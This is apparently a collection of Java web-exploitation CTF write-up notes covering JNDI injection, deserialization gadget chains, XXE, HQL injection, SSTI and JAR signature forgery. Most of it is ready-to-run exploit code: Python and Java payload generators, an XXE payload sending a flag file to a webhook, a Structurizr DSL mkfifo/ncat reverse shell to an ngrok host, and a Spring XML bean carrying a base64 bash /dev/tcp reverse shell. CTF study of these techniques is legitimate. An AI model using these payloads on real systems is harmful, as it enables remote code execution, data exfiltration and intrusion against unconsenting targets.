Skip to content

Java

us-18-Haken-Automated-Discovery-of-Deserialization-Gadget-Chains-wp.pdfcorlang: use this twice to get your karma > 10disconnect and reconnect${tokenRepo.findAll()[0].value} to get the flagAt this poin...

Created

Updated

21 min read

Reading time

Share:

Tip: for Facebook and LinkedIn, use Copy first, then paste when the platform opens.

Java deserialization article

us-18-Haken-Automated-Discovery-of-Deserialization-Gadget-Chains-wp.pdf

Zabbix Java Gateway 7.2.1 - JNDI Injection

Event NameQiangWang CTF 2025
GitHub URL-
Challenge Namewuwa
Attachments
References

solve
#!/usr/bin/env python3
"""
Zabbix Java Gateway 7.2.1 - JNDI Injection
JDK 1.7 RMI and LDAP only
"""

import requests
import struct
import json
import sys

# Target configuration
TARGET_HOST = "172.31.7.19"
TARGET_PORT = 8000
ZABBIX_HOST = "127.0.0.1"
ZABBIX_PORT = 10052

# YOUR ATTACKER IP
ATTACKER_IP = "10.222.7.25"

# Authentication
AUTH_TOKEN = "Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJhZG1pbiIsIm5hbWUiOiJKb2huIERvZSIsImlhdCI6MTUxNjIzOTAyMn0.-t_hr3O8OU1Zz9E1B6dfdfM_9kbwsJbtbhvNc0bifVk"

HEADERS = {
    "Authorization": AUTH_TOKEN,
    "Content-Type": "application/x-www-form-urlencoded",
    "User-Agent": "Mozilla/5.0",
}

def make_zabbix_payload(json_data: dict) -> str:
    header = b"ZBXD\x01"
    data = json.dumps(json_data).encode()
    length = struct.pack("<Q", len(data))
    payload = header + length + data
    escape_str = "".join(f"\\x{b:02x}" for b in payload)
    return escape_str

def send_request(json_data: dict, description: str = ""):
    payload = make_zabbix_payload(json_data)
    
    print(f"\n{'='*60}")
    if description:
        print(f"[*] {description}")
    print(f"[*] jmx_endpoint: {json_data.get('jmx_endpoint', 'N/A')}")
    
    data = {
        "action": "send",
        "mode": "tcp",
        "http_method": "GET",
        "http_url": "",
        "http_body": "",
        "tcp_host": ZABBIX_HOST,
        "tcp_port": ZABBIX_PORT,
        "tcp_payload": payload,
        "tcp_hex": "on",
    }
    
    url = f"http://{TARGET_HOST}:{TARGET_PORT}/admin/nettools"
    
    try:
        resp = requests.post(url, headers=HEADERS, data=data, timeout=15)
        
        if "result-preview" in resp.text:
            start = resp.text.find('<pre class="result-preview">') + len('<pre class="result-preview">')
            end = resp.text.find('</pre>', start)
            result = resp.text[start:end].strip()
            result = result.replace("&#39;", "'").replace("&#34;", '"').replace("&lt;", "<").replace("&gt;", ">")
            print(f"[+] Response: {result[:200]}...")
            return result
        else:
            print(f"[-] No result")
            return None
            
    except Exception as e:
        print(f"[-] Failed: {e}")
        return None

def main():
    print("="*60)
    print("  Zabbix Java Gateway 7.2.1 - JNDI Injection RCE")
    print("="*60)
    print(f"\n[*] Attacker IP: {ATTACKER_IP}")
    print("[*] JDK 1.7 RMI and LDAP only")
    print()
    
    aaa = "do9it4"
    # JDK 1.7 payloads only - UPDATE the path from your JNDI server!
    payloads = [
        ("JDK 1.7 RMI", f"service:jmx:rmi:///jndi/rmi://{ATTACKER_IP}:1099/{aaa}"),
        ("JDK 1.7 LDAP", f"service:jmx:rmi:///jndi/ldap://{ATTACKER_IP}:1389/{aaa}"),
    ]
    
    for name, jndi_url in payloads:
        send_request({
            "request": "java gateway jmx",
            "jmx_endpoint": jndi_url,
            "keys": ["jmx[test]"]
        }, f"Trying {name}")

if __name__ == "__main__":
    main()

N1CTF

Event NameN1CTF
GitHub URLhttps://github.com/Nu1LCTF/n1ctf-2025/tree/main/web/n1cat
Challenge Namen1cat
Attachments
References

solution 1

Jackson + SpringAOP Deserialization GadGet

https://gsbp0.github.io/post/2025n1ctf-wp-for-n1cateezzjs/

import javax.swing.event.EventListenerList;
import java.io.ByteArrayOutputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import javax.swing.undo.UndoManager;
import java.util.Base64;
import java.util.Vector;
import java.util.ArrayList;
import com.fasterxml.jackson.databind.node.POJONode;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import sun.misc.Unsafe;
import java.lang.reflect.Method;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtMethod;
import org.springframework.aop.framework.AdvisedSupport;
import javax.xml.transform.Templates;
import java.lang.reflect.*;

public class PayloadGenerator {
    public static Object getPayload() throws Exception {
        try {
            ClassPool pool = ClassPool.getDefault();
            CtClass jsonNode = pool.get("com.fasterxml.jackson.databind.node.BaseJsonNode");
            CtMethod writeReplace = jsonNode.getDeclaredMethod("writeReplace");
            jsonNode.removeMethod(writeReplace);
            ClassLoader cl = Thread.currentThread().getContextClassLoader();
            jsonNode.toClass(cl, null);
        } catch (Exception ignored) {
            System.out.println(ignored);
        }
        ArrayList<Class> classes = new ArrayList<>();
        classes.add(TemplatesImpl.class);
        classes.add(POJONode.class);
        classes.add(EventListenerList.class);
        classes.add(PayloadGenerator.class);
        classes.add(Field.class);
        classes.add(Method.class);
        new PayloadGenerator().bypassModule(classes);

        byte[] code1 = getTemplateCode("touch /tmp/success");
        byte[] code2 = ClassPool.getDefault().makeClass(randomString(6)).toBytecode();

        TemplatesImpl templates = new TemplatesImpl();
        setFieldValue(templates, "_name", "xxx");
        setFieldValue(templates, "_bytecodes", new byte[][]{code1, code2});
        setFieldValue(templates, "_transletIndex", 0);

        POJONode node = new POJONode(makeTemplatesImplAopProxy(templates));
        EventListenerList ell = getEventListenerList(node);
        serialize(ell, true);
        return ell;
    }

    public static byte[] serialize(Object obj, boolean printBase64) throws Exception {
        ByteArrayOutputStream baos = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(baos);
        oos.writeObject(obj);
        oos.close();
        if (printBase64) {
            System.out.println(Base64.getEncoder().encodeToString(baos.toByteArray()));
        }
        return baos.toByteArray();
    }

    public static Object makeTemplatesImplAopProxy(TemplatesImpl templates) throws Exception {
        AdvisedSupport advisedSupport = new AdvisedSupport();
        advisedSupport.setTarget(templates);
        Constructor<?> ctor = Class
                .forName("org.springframework.aop.framework.JdkDynamicAopProxy")
                .getConstructor(AdvisedSupport.class);
        ctor.setAccessible(true);
        InvocationHandler handler = (InvocationHandler) ctor.newInstance(advisedSupport);
        return Proxy.newProxyInstance(
                ClassLoader.getSystemClassLoader(),
                new Class[]{Templates.class},
                handler
        );
    }

    public static byte[] getTemplateCode(String cmd) throws Exception {
        ClassPool pool = ClassPool.getDefault();
        CtClass template = pool.makeClass(randomString(6));
        String block = "Runtime.getRuntime().exec(\""+cmd+"\");";
        template.makeClassInitializer().insertBefore(block);
        return template.toBytecode();
    }

    public static EventListenerList getEventListenerList(Object obj) throws Exception {
        EventListenerList list = new EventListenerList();
        UndoManager undo = new UndoManager();
        Vector v = (Vector) getFieldValue(undo, "edits");
        v.add(obj);

        setFieldValue(list, "listenerList", new Object[]{Class.class, undo});
        return list;
    }
    public static String randomString(int length) {
        String chars = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789";
        StringBuilder sb = new StringBuilder(length);
        java.util.Random random = new java.util.Random();
        for (int i = 0; i < length; i++) {
            sb.append(chars.charAt(random.nextInt(chars.length())));
        }
        return sb.toString();
    }

    private static Method getMethod(Class<?> clazz, String name, Class<?>[] params) {
        Method m = null;
        while (clazz != null) {
            try {
                m = clazz.getDeclaredMethod(name, params);
                break;
            } catch (NoSuchMethodException e) {
                clazz = clazz.getSuperclass();
            }
        }
        return m;
    }

    private static Unsafe getUnsafe() {
        try {
            Field f = Unsafe.class.getDeclaredField("theUnsafe");
            f.setAccessible(true);
            return (Unsafe) f.get(null);
        } catch (Exception e) {
            throw new AssertionError(e);
        }
    }

    public void bypassModule(ArrayList<Class> classes) {
        try {
            Unsafe unsafe = getUnsafe();
            Class<?> currentClass = this.getClass();
            try {
                Method getModule = getMethod(Class.class, "getModule", new Class[0]);
                if (getModule != null) {
                    for (Class c : classes) {
                        Object targetModule = getModule.invoke(c,new Object[]{});
                        unsafe.getAndSetObject(
                                currentClass,
                                unsafe.objectFieldOffset(Class.class.getDeclaredField("module")),
                                targetModule
                        );
                    }
                }
            } catch (Exception ignored) {}
        } catch (Exception e) {
            e.printStackTrace();
        }
    }

    public static Object getFieldValue(Object obj, String fieldName) throws Exception {
        Field f = null;
        Class<?> c = obj.getClass();
        for (int i = 0; i < 5 && c != null; i++) {
            try {
                f = c.getDeclaredField(fieldName);
                break;
            } catch (NoSuchFieldException e) {
                c = c.getSuperclass();
            }
        }
        if (f == null) throw new NoSuchFieldException(fieldName);
        f.setAccessible(true);
        return f.get(obj);
    }

    public static void setFieldValue(Object obj, String field, Object val) throws Exception {
        Field f = obj.getClass().getDeclaredField(field);
        f.setAccessible(true);
        f.set(obj, val);
    }
}
solution 2

Tomcat Beanfactory file read

n1cat:

首先利用CVE-2025-55752读源码,拿到welcomeServlet.class和User.class

参考:CVE-2025-55752 Apache Tomcat 路径穿越漏洞影响范围修正与利用分析

welcomeServlet.class

 package ctf.n1cat;

import com.fasterxml.jackson.core.JsonProcessingException;
import com.fasterxml.jackson.databind.ObjectMapper;
import com.fasterxml.jackson.databind.node.ObjectNode;
import java.io.IOException;
import java.io.PrintWriter;
import java.net.URLEncoder;
import java.nio.charset.StandardCharsets;
import javax.servlet.RequestDispatcher;
import javax.servlet.ServletException;
import javax.servlet.annotation.WebServlet;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;

@WebServlet(name = "welcomeServlet", value = {"/"})
/* loaded from: download (1) */
public class welcomeServlet extends HttpServlet {
    private static final String DEFAULT_NAME = "guest";
    private static final String DEFAULT_WORD = "welcome";
    private static final ObjectMapper OBJECT_MAPPER = new ObjectMapper();

    protected void doGet(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
        String requestUri = request.getRequestURI();
        String contextPath = request.getContextPath();
        String pathWithinApp = requestUri.substring(contextPath.length());
        if (shouldDelegate(pathWithinApp)) {
            delegateToDefaultResource(pathWithinApp, request, response);
            return;
        }
        String jsonPayload = request.getParameter("json");
        String nameParam = request.getParameter("name");
        String wordParam = request.getParameter("word");
        String urlParam = request.getParameter("url");
        if (isBlank(jsonPayload) && !isBlank(nameParam) && !isBlank(wordParam)) {
            ObjectNode composed = OBJECT_MAPPER.createObjectNode();
            composed.put("name", nameParam);
            composed.put("word", wordParam);
            if (!isBlank(urlParam)) {
                composed.put("url", urlParam);
            }
            jsonPayload = composed.toString();
        }
        if (isBlank(jsonPayload)) {
            response.sendRedirect(defaultRedirectTarget(request));
            return;
        }
        try {
            User user = (User) OBJECT_MAPPER.readValue(jsonPayload, User.class);
            String name = user.getName();
            String word = user.getWord();
            String url = user.getUrl();
            if (isBlank(name) || isBlank(word)) {
                response.sendRedirect(defaultRedirectTarget(request));
            } else {
                renderResponse(response, name, word, url);
            }
        } catch (RuntimeException e) {
            response.sendError(400, "Invalid user data");
        } catch (JsonProcessingException e2) {
            response.sendError(400, "Invalid JSON payload");
        }
    }

    private boolean shouldDelegate(String pathWithinApp) {
        return (pathWithinApp == null || pathWithinApp.isEmpty() || "/".equals(pathWithinApp)) ? false : true;
    }

    private void delegateToDefaultResource(String pathWithinApp, HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
        RequestDispatcher defaultDispatcher = getServletContext().getNamedDispatcher("default");
        if (defaultDispatcher != null) {
            defaultDispatcher.forward(request, response);
        } else {
            request.getRequestDispatcher(pathWithinApp).forward(request, response);
        }
    }

    private void renderResponse(HttpServletResponse response, String name, String word, String url) throws IOException {
        response.setContentType("text/html;charset=UTF-8");
        PrintWriter out = response.getWriter();
        try {
            out.println("<html><body>");
            out.println("<h1>" + escapeHtml(name) + "</h1>");
            out.println("<p>" + escapeHtml(word) + "</p>");
            if (!isBlank(url)) {
                out.println("<p>URL: " + escapeHtml(url) + "</p>");
            }
            out.println("</body></html>");
            if (out != null) {
                out.close();
            }
        } catch (Throwable th) {
            if (out != null) {
                try {
                    out.close();
                } catch (Throwable th2) {
                    th.addSuppressed(th2);
                }
            }
            throw th;
        }
    }

    private String escapeHtml(String input) {
        if (input == null) {
            return "";
        }
        return input.replace("&", "&amp;").replace("<", "&lt;").replace(">", "&gt;").replace("\\"", "&quot;").replace("'", "&#x27;");
    }

    private String defaultRedirectTarget(HttpServletRequest request) {
        return request.getContextPath() + "/?name=" + urlEncode(DEFAULT_NAME) + "&word=" + urlEncode(DEFAULT_WORD);
    }

    private boolean isBlank(String value) {
        return value == null || value.trim().isEmpty();
    }

    private String urlEncode(String value) {
        return URLEncoder.encode(value, StandardCharsets.UTF_8);
    }
}

User.class

package ctf.n1cat;

import javax.naming.InitialContext;
import javax.naming.NamingException;

/* loaded from: download (2) */
public class User {
    private String name;
    private String word;
    private String url;

    public String getName() {
        return this.name;
    }

    public String getWord() {
        return this.word;
    }

    public void setWord(String password) {
        this.word = password;
    }

    public void setName(String name) throws NamingException {
        this.name = name;
    }

    public String getUrl() {
        return this.url;
    }

    public void setUrl(String url) {
        System.out.println("url: " + url);
        try {
            new InitialContext().lookup(url);
        } catch (NamingException e) {
            throw new RuntimeException((Throwable) e);
        }
    }
}

User里有一个setUrl,存在jndi

Image

可以通过Jackson的readValue去调用User的setUrl方法打JNDI

高版本的Tomcat没有BeanFactory,这里打的JNDI XXE盲注

Server

import com.sun.jndi.rmi.registry.ReferenceWrapper;
import org.apache.naming.ResourceRef;

import javax.naming.NamingException;
import javax.naming.Reference;
import javax.naming.StringRefAddr;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

public class XXEpoc {

    public static void main(String[] args) throws Exception {
        System.out.println("[*]Evil RMI Server is Listening on port: 1099");
        Registry registry = LocateRegistry.createRegistry( 1099);
        ResourceRef resourceRef = new ResourceRef("org.apache.catalina.UserDatabase",null,"","",
                true,"org.apache.catalina.users.MemoryUserDatabaseFactory",null );
        resourceRef.add(new StringRefAddr("pathname", "<http://ip>:port/xxe.xml"));
        LoggingReferenceWrapper referenceWrapper = new LoggingReferenceWrapper(resourceRef);
        registry.bind("XXEpoc", referenceWrapper);
    }

    public static class LoggingReferenceWrapper extends ReferenceWrapper {
        public LoggingReferenceWrapper(Reference ref) throws RemoteException, NamingException {
            super(ref);
        }

        @Override
        public Reference getReference() throws RemoteException {
            System.out.println("getReference() 被调用");
            return super.getReference();
        }
    }
}

XXE payload

<!DOCTYPE convert [
<!ENTITY % remote SYSTEM "<http://113.45.175.138:13333/123.dtd>">
%remote;%int;%send;
]>
<!ENTITY % file SYSTEM "file:///flag">
<!ENTITY % int "<!ENTITY &#37; send SYSTEM 'https://webhook.site/626cc58f-ce75-4b88-bf17-062e8b8fad50?flag=%file;'>">

直接读根目录的flag

solution 3

I set it up locally and use JNDIMap:

Using the local PoC, I changed the Dockerfile to tomcat:9.0.34 (Older version that 9.0.63), and it did execute my code successfully, returning null as result on the lookup meaning it was instantiated:

Lookup OK for 'rmi://77.237.242.250:1099/TomcatBypass/Command/Y3VybCBodHRwOi8vOTM4NGE0OGItNWVjMS00ODQwLTg0YzYtMjZlMmU0YjIyNjIzLndlYmhvb2suc2l0ZQ==': null

Bumped it to 9.0.108 (Around 5 years gap), and it returned the following, an uninstantiated reference:

Lookup OK for 'rmi://77.237.242.250:1099/TomcatBypass/Command/Y3VybCBodHRwOi8vOTM4NGE0OGItNWVjMS00ODQwLTg0YzYtMjZlMmU0YjIyNjIzLndlYmhvb2suc2l0ZQ==': ResourceRef[className=javax.el.ELProcessor,factoryClassLocation=null,factoryClassName=org.apache.naming.factory.BeanFactory,{type=scope,content=},{type=auth,content=},{type=singleton,content=true},{type=forceString,content=x=eval},{type=x,content="".getClass().forName("javax.script.ScriptEngineManager").newInstance().getEngineByName("JavaScript").eval("var s = 'yv66vgAAADQANwEACFlBNmRvc0pFBwABAQAQamF2YS9sYW5nL09iamVjdAcAAwEABjxpbml0PgEAAygpVgEABENvZGUBABFqYXZhL2xhbmcvUnVudGltZQcACAEAE1tMamF2YS9sYW5nL1N0cmluZzsHAAoBAA1TdGFja01hcFRhYmxlDAAFAAYKAAQADQEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsMAA8AEAoACQARAQAHb3MubmFtZQgAEwEAEGphdmEvbGFuZy9TeXN0ZW0HABUBAAtnZXRQcm9wZXJ0ewInstance().decodeBuffer(s);} catch (e) {bt = java.util.Base64.getDecoder().decode(s);}var theUnsafeField = java.lang.Class.forName('sun.misc.Unsafe').getDeclaredField('theUnsafe');theUnsafeField.setAccessible(true);unsafe = theUnsafeField.get(null);unsafe.defineAnonymousClass(java.lang.Class.forName('java.lang.Class'), bt, null).newInstance();")}]

Powerfull JNDI injection tools

Wicket SSTI

Event NameCOR CTF 2025
GitHub URL-
Challenge Namecorlang
Attachments
References

ssti
package com.jazz.conlang.model;

import java.io.Serializable;

import org.apache.wicket.Component;
import org.apache.wicket.model.IModel;
import org.apache.wicket.model.Model;
import org.apache.wicket.model.StringResourceModel;

import jakarta.persistence.Column;
import jakarta.persistence.Entity;
import jakarta.persistence.GeneratedValue;
import jakarta.persistence.Id;

@Entity
public class Translation implements Serializable {
    @Id
    @GeneratedValue
    private Long id;

    private String keyName;
    private String localeTag;
    @Column(name = "translation_value")
    private String value;
    private boolean approved;
    private String providedBy;
...snip...
    /**
     * Creates a Wicket model that renders this translation.
     * 
     * @param context The Wicket component or page to use for property resolution.
     */
    public IModel<String> render(Component context) {
        return new StringResourceModel(this.keyName, context, Model.of(context))
                .setDefaultValue(this.value);
    }
}
...snip...
        Long translationId = parameters.get("id").toLong();
        Translation translation = repo.findById(translationId).orElse(null);

        if (translation == null) {
            setResponsePage(AdminPage.class);
            return;
        }

        author = userRepo.findByUsername(translation.getAuthor());

        add(new FeedbackPanel("feedback"));
        add(new Label("keyName", translation.getKeyName()));
        add(new Label("locale", translation.getLocaleTag()));
        add(new Label("proposed", translation.getValue()));
        add(new Label("rendered", translation.render(this)));
        add(new Label("approved", String.valueOf(translation.isApproved())));
        add(new Label("author", formatAuthorInfo(author)));

corlang: use this twice to get your karma > 10

${author.incrementKarma()}${author.incrementKarma()}${author.incrementKarma()}${author.incrementKarma()}${author.incrementKarma()}${author.incrementKarma()}${author.incrementKarma()}${author.incrementKarma()}${author.incrementKarma()}

disconnect and reconnect

${tokenRepo.findAll()[0].value} to get the flag

Hibernate RCE in the orders_container via JdiInitiator Constructor

Event NameProject Sekai CTF 2025
GitHub URLhttps://github.com/project-sekai-ctf/sekaictf-2025/
Challenge Namehqli-me
Attachments
References

new jdk.jshell.execution.JdiInitiator(5, new list(""), new java.lang.String("asdf"), true, null, 8000, new map("^" as quote,"^bash^-c^id^>/tmp/win^" as home)) UNION select new jdk.jshell.execution.JdiInitiator(0, new list(""), new java.lang.String("jdk.jshell.execution.RemoteExecutionControl"), true, null, 8000, new map("a" as a,"b" as b))
author solver
import base64
import requests

base_url = "http://localhost:1337"

leak_sess_id = "a"
cmd = "/flag"

sess = requests.Session()

sessionId = sess.post(
    f"{base_url}/login", data={"username": "guest", "password": "guest"}
)

p = """
\\" and function('CSVWRITE','/tmp/kek','select 1;CREATE ALIAS SHELLEXEC AS ''void leak(String sessId, String cmd) throws java.lang.Exception {sekai.HibernateUtil.addSession(new sekai.Session(sekai.HibernateUtil.addUser(new sekai.User(new java.lang.String(new java.lang.ProcessBuilder(cmd).start().getInputStream().readAllBytes()).concat(new java.lang.String(new byte[]{39, 124, 124, 34})), cmd)), sessId));}//''; CALL SHELLEXEC(''%s'', ''%s'')','charset=UTF-8')=\\"
""".replace(
    "\n", ""
) % (
    leak_sess_id,
    cmd,
)

cmd = f"""
wget --header='Content-Type: application/x-www-form-urlencoded' --post-data "username=u&password={p}" http://127.0.0.1:8000/login
""".strip()

cmd = (
    "/bin/bash -c {echo,"
    + base64.b64encode(cmd.encode()).decode()
    + "}|{base64,-d}|{bash,-i}"
)

constr_bytes = "/**/,".join(
    ",".join(str(ord(c)) for c in cmd[i : i + 60]) for i in range(0, len(cmd), 60)
)

java_code = (
    """
Runtime.getRuntime().exec(new String(new byte[]{%s}));
"""
    % constr_bytes
)

col = f'new jdk.jshell.execution.JdiInitiator(0, new java.util.ArrayList(0), "jdk/tools/jlink/internal/Main --save-opts /tmp/lol", true, "localhost", 3000000, new map("jdk/tools/jlink/internal/Main --output /tmp/ab --add-modules java.base -p \\"\\n{java_code}\\" --save-opts /tmp/lol" as main, "n,server=y,suspend=n,address=localhost:13370" as includevirtualthreads))'

col = f"{col} union select {col} "


def order(sessionId, fields):
    return sess.post(
        f"{base_url}/orders",
        data={"sessionId": sessionId, "fields": fields},
        headers={"Content-Type": "application/x-www-form-urlencoded"},
    )


order(sessionId=sessionId, fields=col)

col = f'new jdk.jshell.execution.JdiInitiator(0, new java.util.ArrayList(0), "jdk/internal/jshell/tool/JShellToolProvider /tmp/lol", true, "localhost", 3000000, new map("n,server=y,suspend=n,address=localhost:13370" as includevirtualthreads))'

col = f"{col} union select {col} "

order(sessionId=sessionId, fields=col)

print(order(sessionId=leak_sess_id, fields="1||'").text)

arbitrary write primitive to ACE

Event NameKalmar CTF 2025
GitHub URLhttps://github.com/kalmarunionenctf/kalmarctf/tree/main/2025
Challenge NameRed wEDDIng
Attachments
References

At this point, we've got ourselves an arbitrary write primitive. This is a very strong primitive and often leads to trivial ways to get ACE, but there's no instant win in this case, as we'll soon find out. From a shell in the container we can look for candidates to overwrite:

find / -user jboss -writable 2>/dev/null | grep -v "^/proc/"
strace -p 1 -f -e trace=file,sendto,execve,access,execveat

When interacting with the webpage or triggering an import with curl, we can see many openat calls for .jar files. Here's a few:

[pid   501] openat(AT_FDCWD, "/deployments/lib/main/jakarta.ws.rs.jakarta.ws.rs-api-3.1.0.jar", O_RDONLY) = 13
[pid   501] openat(AT_FDCWD, "/deployments/lib/main/org.eclipse.microprofile.openapi.microprofile-openapi-api-4.0.2.jar", O_RDONLY) = 24
[pid   501] openat(AT_FDCWD, "/deployments/lib/main/io.quarkus.quarkus-rest-client-jaxrs-3.18.2.jar", O_RDONLY) = 33
[pid   501] openat(AT_FDCWD, "/deployments/lib/main/io.quarkus.resteasy.reactive.resteasy-reactive-common-3.18.2.jar", O_RDONLY) = 24
[pid   501] openat(AT_FDCWD, "/deployments/lib/main/io.quarkus.resteasy.reactive.resteasy-reactive-client-3.18.2.jar", O_RDONLY) = 13
[pid   166] openat(AT_FDCWD, "/deployments/lib/main/com.fasterxml.jackson.core.jackson-databind-2.18.2.jar", O_RDONLY) = 33
[pid   504] openat(AT_FDCWD, "/deployments/lib/main/com.fasterxml.jackson.core.jackson-annotations-2.18.2.jar", O_RDONLY) = 24

to poison jars you can use this too

https://github.com/pspaul/jar-poisoner

comment
i remember this problem showing up in a different ctf a while back (or maybe we were trying to unintended it, idr) and we got tripped up by the fact that jvm seems to cache some offsets into the zip files
and if the new classes aren't in the same spot in the file it breaks

Structurizr DSL Remote Code Execution via workspace extension structurizr/onpremises v3.1.0

Event NameKalmar CTF 2025
GitHub URLhttps://github.com/kalmarunionenctf/kalmarctf/tree/main/2025
Challenge NameKalmarDSL
Attachments
References

workspace extends http://0.tcp.ap.ngrok.io:17964/exploit.dsl {
    
}
workspace {
    !script ruby {
        value = `rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|ncat 0.tcp.ap.ngrok.io 11310 >/tmp/f`
    }
}

CVE-2024-38807: Signature Forgery Vulnerability in Spring Boot’s Loader4.

Event NameTPCTF
GitHub URL-
Challenge Nameverified toolbox
Attachments
References

author writeup

It uses Spring Boot 3.3.2, so it’s CVE-2024-38807: Signature Forgery Vulnerability in Spring Boot’s Loader4.

The vulnerability is that spring-boot-loader uses JarInputStream to verify the signatures but uses a custom ZipContent class to load the contents. They parse a ZIP file differently and may read different contents from a specially crafted JAR file. JarInputStream reads a JAR file from start to end, while ZipContent read the end of central directory record at the end first. We can construct a malicious JAR file by concatenating the bytes of two JAR files, and then adjust the offset fields in the central directory headers and the end of central directory record of the second JAR file. The signature verifier will read the first JAR file while the content loader will read the second.

You can also find the commit that fixes this vulnerability along with the mismatched.jar test case, and then create the malicious JAR file based on mismatched.jar.

#!/bin/bash

set -euo pipefail

url="$1"

javac Tool.java

jar cf exp.jar Tool.class

rm -f keystore.jks

keytool -genkeypair \
    -alias exp \
    -dname 'CN=Unknown, OU=Unknown, O=Unknown, L=Unknown, ST=Unknown, C=Unknown' \
    -keyalg DSA \
    -keysize 2048 \
    -validity 1 \
    -keystore keystore.jks \
    -storepass 133337

jarsigner -keystore keystore.jks -storepass 133337 exp.jar exp

curl -O "$url/toolbox/greeting.jar"
jar xf greeting.jar

python exp.py

jar cf0 nested.jar inner.jar

curl -F file=@nested.jar -F path=inner.jar -F input='/readflag give me the flag' "$url"/run
with open('hello.jar', 'rb') as f:
    signed = f.read()

with open('exp.jar', 'rb') as f:
    exp = f.read()

shift = len(signed)
exp_list = list(exp)

eocd_start = exp.rfind(b'PK\x05\x06')
cd_offset = int.from_bytes(exp[eocd_start+16:eocd_start+20], 'little')
new_cd_offset = (cd_offset + shift).to_bytes(4, 'little')
exp_list[eocd_start+16:eocd_start+20] = new_cd_offset

cd_start = cd_offset
pos = cd_start
while pos < eocd_start:
    if exp[pos:pos+4] == b'PK\x01\x02':
        lfh_offset = int.from_bytes(exp[pos+42:pos+46], 'little')
        new_lfh_offset = (lfh_offset + shift).to_bytes(4, 'little')
        exp_list[pos+42:pos+46] = new_lfh_offset
        pos += 46
    else:
        pos += 1

modified_exp = bytes(exp_list)
with open('inner.jar', 'wb') as f:
    f.write(signed)
    f.write(modified_exp)
import java.io.ByteArrayOutputStream;

public class Tool {
    public static String run(String cmd) {
        try {
            ProcessBuilder processBuilder = new ProcessBuilder("sh", "-c", cmd);
            Process process = processBuilder.start();

            ByteArrayOutputStream bos = new ByteArrayOutputStream();
            bos.write(String.format("\n$ %s\n", cmd).getBytes());

            process.getInputStream().transferTo(bos);
            process.getErrorStream().transferTo(bos);

            return bos.toString();
        } catch (Exception e) {
            return e.getMessage();
        }
    }
}

GrrrDog/Java-Deserialization-Cheat-Sheet: The cheat sheet about Java Deserialization vulnerabilities (github.com)

us-16-MunozMirosh-A-Journey-From-JNDI-LDAP-Manipulation-To-RCE (blackhat.com)

https://www.blackhat.com/docs/us-16/materials/us-16-Munoz-A-Journey-From-JNDI-LDAP-Manipulation-To-RCE-wp.pdf

Nulbyte terminated string in java debian.

https://hackmd.io/@Solderet/BJkDWpmoh#Web-Tool—Web-Solve-After-CTF

TETCTF 2024 J4v4 Censored

Note:
-  In prod `J4v4 Censored` and `LordGPT` deploy on VPS + domain, you can abuse it
-  Team KCSC solved this chall with a clever trick to bypass some holes  :clap::clap: (unintended)
-  Source + debug = smooth sailing.

docker for chall J4v4 Censored. https://drive.google.com/file/d/1HZ268tSJK8FuSR-Y7c8XCuv5hOt7tF6R/view?usp=sharing

SSRF can follow redirects, use it to bypass get touch to endpoint SSTI https://securitylab.github.com/advisories/GHSL-2022-033_GHSL-2022-034_Discovery/

in java application we can do url path transversal

linectf 2024 heritage

Untitled

“/api/external/..;/intern%61l/”

Java Deserialization, bypass log4shell in java 17

log4j -> jndi -> tomcat setter -> cc deserialization

Triggering the use of RMI:

/**
*
* org.apache.commons.collections.enableUnsafeSerialization
* @param values
* @return
*/
public ResourceRef tomcat_groovy_setter(String values){
	ResourceRef ref = new ResourceRef("org.apache.groovy.util.SystemUtil", null, "", "",true, "org.apache.tomcat.jdbc.naming.GenericNamingResourcesFactory", null);
	ref.add(new StringRefAddr("SystemPropertyFrom", values));
	return ref;
}

Then you can deserialize after cc 3.2.2

import com.xbx.util.Gadgets;
import com.xbx.util.tools;
import org.apache.commons.collections.functors.FactoryTransformer;
import org.apache.commons.collections.functors.InstantiateFactory;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import org.springframework.context.support.ClassPathXmlApplicationContext;

import java.util.*;

public class cc_xml {
    public static void main(String[] args) throws Exception{

        InstantiateFactory instantiateFactory = new InstantiateFactory(ClassPathXmlApplicationContext.class,
                new Class[]{String.class},
                new Object[]{"<http://148.135.55.70:8989/1.xml>"});

        List list = new ArrayList();

        FactoryTransformer factoryTransformer = new FactoryTransformer(instantiateFactory);
        Map innerMap = new HashMap();
        Map lazyMap = LazyMap.decorate(innerMap, factoryTransformer);
        TiedMapEntry entry = new TiedMapEntry(lazyMap, "foo");
        HashSet hashSet = Gadgets.toHashCode(entry);

        byte[] serialize = tools.serialize(hashSet);
        System.out.println(tools.base64Encode(serialize));
    }

}

Implementation through ldap deserialization: https://github.com/Firebasky/LdapBypassJndi

Load 1.xml

<beans xmlns="<http://www.springframework.org/schema/beans>" xmlns:xsi="<http://www.w3.org/2001/XMLSchema-instance>" xsi:schemaLocation="<http://www.springframework.org/schema/beans> <http://www.springframework.org/schema/beans/spring-beans.xsd>">
    <bean id="pb" class="java.lang.ProcessBuilder" init-method="start">
        <constructor-arg>
            <list>
                <value>bash</value>
                <value>-c</value>
                <value>
                    <![CDATA[{echo,YmFzaCAtYyAiYmFzaCAtaSA+JiAvZGV2L3RjcC8xNDguMTM1LjU1LjcwLzIzMzMgMD4mMSI=}|{base64,-d}|{bash,-i}]]>
                </value>
            </list>
        </constructor-arg>
    </bean>
</beans>

more

https://mp.weixin.qq.com/s/9EJPZ_5wtKDk7SWyAzecTg

https://avss.geekcon.top/writeup.html

https://avss.geekcon.top/writeup.html

tools

More about java deserialization bypass on version 21

